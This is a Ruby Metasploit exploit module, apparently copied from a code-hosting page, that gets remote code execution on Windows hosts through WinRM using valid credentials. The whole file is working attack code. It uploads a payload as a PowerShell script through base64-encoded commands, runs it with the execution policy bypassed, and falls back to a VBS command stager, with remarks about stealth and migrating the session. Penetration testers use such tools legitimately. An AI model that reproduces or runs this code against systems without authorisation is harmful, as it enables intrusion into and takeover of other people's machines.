228 lines
6.9 KiB
Ruby
228 lines
6.9 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
require 'net/winrm/connection'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ManualRanking
|
|
|
|
include Msf::Exploit::Remote::WinRM
|
|
include Msf::Exploit::CmdStager
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'WinRM Script Exec Remote Code Execution',
|
|
'Description' => %q{
|
|
This module uses valid credentials to login to the WinRM service
|
|
and execute a payload. It has two available methods for payload
|
|
delivery: Powershell 2 (and above) and VBS CmdStager.
|
|
|
|
The module will check if Powershell is available, and if so uses
|
|
that method. Otherwise it falls back to the VBS CmdStager which is
|
|
less stealthy.
|
|
},
|
|
'Author' => [ 'thelightcosine' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
[ 'URL', 'http://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx' ],
|
|
],
|
|
'Privileged' => true,
|
|
'DefaultOptions' => {
|
|
'WfsDelay' => 30,
|
|
'EXITFUNC' => 'thread',
|
|
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
|
|
'CMDSTAGER::DECODER' => File.join(Rex::Exploitation::DATA_DIR, 'exploits', 'cmdstager', 'vbs_b64_sleep')
|
|
},
|
|
'Platform' => 'win',
|
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
|
'Targets' => [
|
|
[ 'Windows', {} ],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2012-11-01',
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
|
|
'Reliability' => [ REPEATABLE_SESSION ]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptBool.new('FORCE_VBS', [ true, 'Force the module to use the VBS CmdStager', false]),
|
|
], self.class
|
|
)
|
|
deregister_options('CMDSTAGER::FLAVOR')
|
|
@compat_mode = false
|
|
end
|
|
|
|
def exploit
|
|
check_winrm_parameters
|
|
self.conn = create_winrm_connection
|
|
self.shell = conn.shell(:cmd, {})
|
|
if powershell2?
|
|
path = upload_script
|
|
return if path.nil?
|
|
|
|
exec_script(path)
|
|
else
|
|
execute_cmdstager({ flavor: :vbs })
|
|
end
|
|
handler
|
|
end
|
|
|
|
# Run the WinRM command
|
|
def winrm_run_cmd(command)
|
|
shell.run(command)
|
|
end
|
|
|
|
# Run the WinRM command on a background thread
|
|
def winrm_run_cmd_async(command)
|
|
framework.threads.spawn("winrm_script_exec keepalive worker", false) do
|
|
begin
|
|
winrm_run_cmd(command)
|
|
ensure
|
|
self.shell.close
|
|
end
|
|
end
|
|
end
|
|
|
|
# Execute a command on the WinRM shell (called via the VBS Stager)
|
|
def execute_command(cmd, _opts)
|
|
commands = cmd.split(/&/)
|
|
commands.each do |command|
|
|
if command.include? 'cscript'
|
|
winrm_run_cmd_async(command)
|
|
elsif command.include? 'del %TEMP%'
|
|
next
|
|
else
|
|
winrm_run_cmd(command)
|
|
end
|
|
end
|
|
end
|
|
|
|
# Uploads a powershell script to the server
|
|
# @return [String] Path to the uploaded script
|
|
def upload_script
|
|
tdir = temp_dir
|
|
return if tdir.nil?
|
|
|
|
path = tdir + '\\' + ::Rex::Text.rand_text_alpha(8) + '.ps1'
|
|
print_status("Uploading powershell script to #{path} (This may take a few minutes)...")
|
|
|
|
script = Msf::Util::EXE.to_win32pe_psh(framework, payload.encoded)
|
|
# add a sleep to the script to give us enough time to migrate
|
|
script << "\n Start-Sleep -s 20"
|
|
script.each_line do |psline|
|
|
# build our psh command to write out our psh script, meta eh?
|
|
script_line = "Add-Content #{path} '#{psline.chomp}' "
|
|
cmd = encoded_psh(script_line)
|
|
winrm_run_cmd(cmd)
|
|
end
|
|
return path
|
|
end
|
|
|
|
# Executes the PowerShell script at the given path
|
|
# @param [String] path Path to the uploaded script
|
|
def exec_script(path)
|
|
print_status('Attempting to execute script...')
|
|
cmd = "#{@invoke_powershell} -ExecutionPolicy bypass -File #{path}"
|
|
winrm_run_cmd_async(cmd)
|
|
end
|
|
|
|
# Create a command line to execute the provided script inline
|
|
# @return [String] Command line argument to execute the provided command in the -EncodedCommand parameter
|
|
def encoded_psh(script)
|
|
script = Rex::Text.encode_base64(script.encode('utf-16le')).chomp
|
|
|
|
return "#{@invoke_powershell} -encodedCommand #{script}"
|
|
end
|
|
|
|
# Gets the temporary directory of the remote shell
|
|
# @return [String] The temporary directory of the remote shell
|
|
def temp_dir
|
|
print_status('Grabbing %TEMP%')
|
|
cmd = 'echo %TEMP%'
|
|
output = winrm_run_cmd(cmd)
|
|
return output.stdout.chomp
|
|
end
|
|
|
|
# The architecture of the remote system
|
|
def get_remote_arch
|
|
wql = %q{select AddressWidth from Win32_Processor where DeviceID="CPU0"}
|
|
resp = conn.run_wql(wql)
|
|
addr_width = resp[:xml_fragment][0][:address_width]
|
|
if addr_width == '64'
|
|
return ARCH_X64
|
|
else
|
|
return ARCH_X86
|
|
end
|
|
end
|
|
|
|
# Verifies that the remote architecture is compatible with our payload
|
|
# @return [Boolean] Does the payload match the architecture?
|
|
# @note Sets @compat_mode to true if running x86 payload on x64 arch
|
|
def correct_payload_arch?
|
|
@target_arch = get_remote_arch
|
|
case @target_arch
|
|
when ARCH_X64
|
|
unless datastore['PAYLOAD'].include?(ARCH_X64)
|
|
print_error('You selected an x86 payload for an x64 target...trying to run in compat mode')
|
|
@compat_mode = true
|
|
return false
|
|
end
|
|
when ARCH_X86
|
|
if datastore['PAYLOAD'].include?(ARCH_X64)
|
|
print_error('You selected an x64 payload for an x86 target')
|
|
return false
|
|
end
|
|
end
|
|
return true
|
|
end
|
|
|
|
# Is PowerShell version 2 (or above) available
|
|
# @return [Boolean]
|
|
# @note Sets @invoke_powershell based on whether @compat_mode is set - to potentially force the use of x86 PowerShell while on an x64 system
|
|
def powershell2?
|
|
if datastore['FORCE_VBS']
|
|
print_status('User selected the FORCE_VBS option')
|
|
return false
|
|
end
|
|
print_status('Checking for Powershell 2.0')
|
|
output = winrm_run_cmd('powershell Get-Host')
|
|
if output.stderr.include? 'not recognized'
|
|
print_error('Powershell is not installed')
|
|
return false
|
|
end
|
|
output.stdout.each_line do |line|
|
|
next unless line.start_with? 'Version'
|
|
|
|
major_version = line.match(/\d(?=\.)/)[0]
|
|
if major_version == '1'
|
|
print_error('The target is running an older version of Powershell')
|
|
return false
|
|
end
|
|
end
|
|
|
|
return false unless correct_payload_arch? || (@target_arch == ARCH_X64)
|
|
|
|
if @compat_mode == true
|
|
@invoke_powershell = '%SYSTEMROOT%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe'
|
|
else
|
|
@invoke_powershell = 'powershell'
|
|
end
|
|
|
|
return true
|
|
end
|
|
|
|
# @return [WinRM::Shells::Cmd] The WinRM Shell object
|
|
attr_accessor :shell
|
|
|
|
# @return [Net::MsfWinRM::RexWinRMConnection] The WinRM connection
|
|
attr_accessor :conn
|
|
end
|